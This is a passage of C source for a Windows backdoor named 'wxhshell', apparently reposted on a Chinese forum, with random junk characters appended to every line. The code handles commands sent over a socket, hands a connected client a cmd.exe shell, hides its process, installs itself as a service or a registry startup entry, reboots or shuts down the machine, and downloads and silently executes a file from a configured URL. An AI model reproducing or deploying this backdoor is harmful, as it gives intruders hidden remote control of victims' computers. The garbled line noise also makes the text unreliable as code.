  // 帮助 =AZ>2P  
  case '?': { 9{xP~0g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |910xd`Z  
    break; %4+r&  
  } C4Bh#C  
  // 安装 {!'AR`|  
  case 'i': { QXgh[9w G  
    if(Install()) `){*JPl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mv<z%y?Oj  
    else gt'0B-;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i (L;1 `  
    break; In^$+l%O[  
    } N55;oj_K  
  // 卸载 Ngh9+b6[  
  case 'r': { Q@ /wn  
    if(Uninstall()) !cp ,OrO\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &W`yHQ"JY  
    else rJ9a@n,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GaM#a[p  
    break; k gWF@"_  
    } ;f0+'W  
  // 显示 wxhshell 所在路径 Wx;9N  
  case 'p': { LuR.;TiW  
    char svExeFile[MAX_PATH]; 9$ UjZ$ v  
    strcpy(svExeFile,"\n\r"); (K^9$w]tf  
      strcat(svExeFile,ExeFile); VEo>uR  
        send(wsh,svExeFile,strlen(svExeFile),0); R}>Gk  
    break; wdl6dLu  
    } 7 P=1+2V  
  // 重启 2-]gHAw%  
  case 'b': { 8cR4@Hqx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Zydy  
    if(Boot(REBOOT)) V0ulIKck  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4HX83y{  
    else { gWgYZX  
    closesocket(wsh); Q[`_Y3@j  
    ExitThread(0); QfT&y &  
    } T4o}5sq}S  
    break; eP[azC"G[  
    } rK}*Uwut  
  // 关机 q.uIZ  
  case 'd': { q;t T*B W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \W}?4kz  
    if(Boot(SHUTDOWN)) !=|3^A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$xg\l0?KK  
    else { <iJ->$  
    closesocket(wsh); )#IiHBF  
    ExitThread(0); xREqcH,vU  
    } FU5vo  
    break; |UBR8  
    } &Q(Q/]U~  
  // 获取shell s26:(J [{  
  case 's': { 9IC"p<D  
    CmdShell(wsh); >vt#,8VAN  
    closesocket(wsh); sAC1Pda  
    ExitThread(0); @&mv4zz&W  
    break; "7Zb)Ocb  
  } %HwPOEJ  
  // 退出 yi r#G""7  
  case 'x': { r3_@ L>;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lNls8@  
    CloseIt(wsh); L ?4c8!Q  
    break; _"##p  
    } gWv/3hWWB  
  // 离开 !T6oD]x3  
  case 'q': { a}0\kDe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0[);v/@Ho  
    closesocket(wsh); s|%mGt &L  
    WSACleanup(); b3<<4Vf  
    exit(1); g9'50<|J  
    break; K?(ls$  
        } y3c]zDjV  
  } .oN<c]iqE  
  } .kBi" p&  
hTf]t  
  // 提示信息 ZTM zL%i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EX=+TOkAf  
} =p N?h<dc  
  } =JX.* MEB  
Euk#C;uBg  
  return; o/2\8   
} `f8{ ^Rau  
v3Te+oLg  
// shell模块句柄 Hx62x X  
int CmdShell(SOCKET sock) z! D >l  
{ Z\6azhbI}  
STARTUPINFO si; $9M>B<]  
ZeroMemory(&si,sizeof(si)); 6V*@ {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4US8B=jk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V0c*M>V  
PROCESS_INFORMATION ProcessInfo; 3)EslBA7i  
char cmdline[]="cmd"; v^HDR 3I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K>w}(td  
  return 0; D>VI{p  
} 2JUX29rER  
/vD5C  
// 自身启动模式 3E y#?   
int StartFromService(void) Bwn9ZYu#r  
{ K:465r:  
typedef struct m/cbRuPWgP  
{ UI_|VU>J  
  DWORD ExitStatus; K>,Kbs=D6  
  DWORD PebBaseAddress; Y%anR|  
  DWORD AffinityMask; `m`jX|`  
  DWORD BasePriority; *x)WF;(]g  
  ULONG UniqueProcessId; M5: f^  
  ULONG InheritedFromUniqueProcessId; k_-=:(Z  
}   PROCESS_BASIC_INFORMATION; lVARe3#  
2:&8FdU  
PROCNTQSIP NtQueryInformationProcess; i8Yl1nF  
}8fxCW*|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N@58R9P<p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `IFt;Ja\6  
v}+axu/?  
  HANDLE             hProcess; :BC 0f9  
  PROCESS_BASIC_INFORMATION pbi; ;7K5Bo  
QKE$>G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9'Pyo`hJ#U  
  if(NULL == hInst ) return 0; S TVJu![  
%0Ulh6g;Dt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yw\} '7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?G* XZ0u~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I&q:w\\z8|  
*~lD;{2  
  if (!NtQueryInformationProcess) return 0; 1LJ ?Ka[_*  
V4l`Alr\L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [WRs1$5  
  if(!hProcess) return 0; /Fk LZm  
(|bMtT?"x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &:S_ewJK7  
#CW]70H`  
  CloseHandle(hProcess); eW1$;.^  
{5#P1jlT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .%U~ r2Y(  
if(hProcess==NULL) return 0; - EF(J  
$io-<Z#Q  
HMODULE hMod; TEh]-x`  
char procName[255]; LCyci1\@  
unsigned long cbNeeded; -l`@pklQ  
6IctW5b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QKwWX_3%Z]  
a_`E'BkgU  
  CloseHandle(hProcess); H{\tQ->(2  
*O)_D bj  
if(strstr(procName,"services")) return 1; // 以服务启动 8v*>~E/0  
>#$( M5&}-  
  return 0; // 注册表启动 HvKueTQ  
} p<Ah50!B  
p27A#Uu2}  
// 主模块 i74^J+xk  
int StartWxhshell(LPSTR lpCmdLine) wTf0O@``6H  
{ v|?hc'Fj  
  SOCKET wsl; nxsQDw\hy  
BOOL val=TRUE; 3+EJ%  
  int port=0; v@XQ)95]F  
  struct sockaddr_in door; bL)g+<:F  
#h6(DuViKw  
  if(wscfg.ws_autoins) Install(); ;}A#ws_CD_  
.sbU-_ij@U  
port=atoi(lpCmdLine); 9(|[okB  
kZU8s'C  
if(port<=0) port=wscfg.ws_port; `]LaX&u  
>BrxJw#M  
  WSADATA data; 79s6U^vv"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (e= ksah3>  
s|pb0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~XsS00TL`G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~BERs;4  
  door.sin_family = AF_INET; \xDu#/^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [9BlP  
  door.sin_port = htons(port); 6zRJ5uI,/  
YUT"A{L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,h #!!j\j6  
closesocket(wsl); W#u}d2mP  
return 1; T55l-.>  
} d=oOMXYa   
I%e7:cs>  
  if(listen(wsl,2) == INVALID_SOCKET) { JV36@DVQ  
closesocket(wsl); B 0 K2Uw  
return 1; +(/XMx}a  
} "sAR< 5b  
  Wxhshell(wsl); thipfS  
  WSACleanup(); %f6l"~y  
w?jmi~6  
return 0; xXA$16kd  
g~FB&U4c  
} u\t[rC=yd  
[O"i!AQ  
// 以NT服务方式启动 2O<S ig=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )P|%=laE8  
{ >z>UtT:  
DWORD   status = 0; F#X\}MvEU  
  DWORD   specificError = 0xfffffff; L9Fx Lw41  
"'t<R}t!A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p\+#`] Q7}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /D1Bf:'(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gW/H#T,  
  serviceStatus.dwWin32ExitCode     = 0; ,=$yvZs4[]  
  serviceStatus.dwServiceSpecificExitCode = 0; _\@i&3hkx  
  serviceStatus.dwCheckPoint       = 0; d2.n^Q"?3  
  serviceStatus.dwWaitHint       = 0; "{z9 L+  
`3pe\s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j@GMZz<  
  if (hServiceStatusHandle==0) return; m9#u. Q*  
g+ 2SB5 2D  
status = GetLastError(); RVI],O  
  if (status!=NO_ERROR) :&?#~NFH  
{ D1o 8Wo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ic#+*W\ZW  
    serviceStatus.dwCheckPoint       = 0; ~gI%   
    serviceStatus.dwWaitHint       = 0; w2+RX-6Ie  
    serviceStatus.dwWin32ExitCode     = status; mNb+V/*x3  
    serviceStatus.dwServiceSpecificExitCode = specificError; <i]%T~\Af)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m+OR W"o  
    return; $XyGCn  
  } }Lb];hww1  
Wv=L_E_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z]w_2- -  
  serviceStatus.dwCheckPoint       = 0; cb'8Li8,j  
  serviceStatus.dwWaitHint       = 0; :6HMb^4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JYv&It  
} elKQge  
HoRLy*nU  
// 处理NT服务事件,比如:启动、停止 /jj!DO#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _x UhDu%  
{ ]"/ *7NM  
switch(fdwControl) ,l0s(Cg  
{ (]7@0d88  
case SERVICE_CONTROL_STOP: ,P auP~L  
  serviceStatus.dwWin32ExitCode = 0; NA/+bgyuT>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * +OAc `8  
  serviceStatus.dwCheckPoint   = 0; XJ?@l3D:  
  serviceStatus.dwWaitHint     = 0; +Kf::[wP7  
  { J,7_5V@jJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a#uJzYB0  
  } 8$G$Rdn  
  return; i3e|j(Gs4  
case SERVICE_CONTROL_PAUSE: *,'"\n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t8?+yG;  
  break; []dRDe;#  
case SERVICE_CONTROL_CONTINUE: QtN0|q{af  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i w m7M  
  break; A% Bz52yg  
case SERVICE_CONTROL_INTERROGATE: 'kx{0J?  
  break; !%Z1" FDm/  
}; /f# rN_4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U]R7=  
} \2NiI]t]  
E"L'm0i[[  
// 标准应用程序主函数 :-6_X<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @F3d9t-  
{ .S?,%4v%%  
|?g2k:fzB7  
// 获取操作系统版本 BwEL\*$g  
OsIsNt=GetOsVer(); W]M[5p]*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N#[/h96F  
JBoo7a1  
  // 从命令行安装 <n6/np!  
  if(strpbrk(lpCmdLine,"iI")) Install(); U{ahA  
}:jXl!:V  
  // 下载执行文件 Qz$.t>@V=  
if(wscfg.ws_downexe) { UI8M<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uk\GAm@O  
  WinExec(wscfg.ws_filenam,SW_HIDE); b%)a5H(  
} C y& L,  
{ld([  
if(!OsIsNt) { ?^"S%Vb  
// 如果时win9x,隐藏进程并且设置为注册表启动 7gJy xQ  
HideProc(); O]~p)E  
StartWxhshell(lpCmdLine); x`o_&09;CG  
} hOwVm;:  
else [6/ %ynlP  
  if(StartFromService()) ;$%+TN  
  // 以服务方式启动 Pt1Htt:BE  
  StartServiceCtrlDispatcher(DispatchTable); aqyXxJS8  
else WrG)&&d  
  // 普通方式启动 p1|@F^Q  
  StartWxhshell(lpCmdLine); H>Fy 2w  
CV& SNA  
return 0; 90ORx\Oeo  
}
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只看该作者 1 发表于: 2006-10-10
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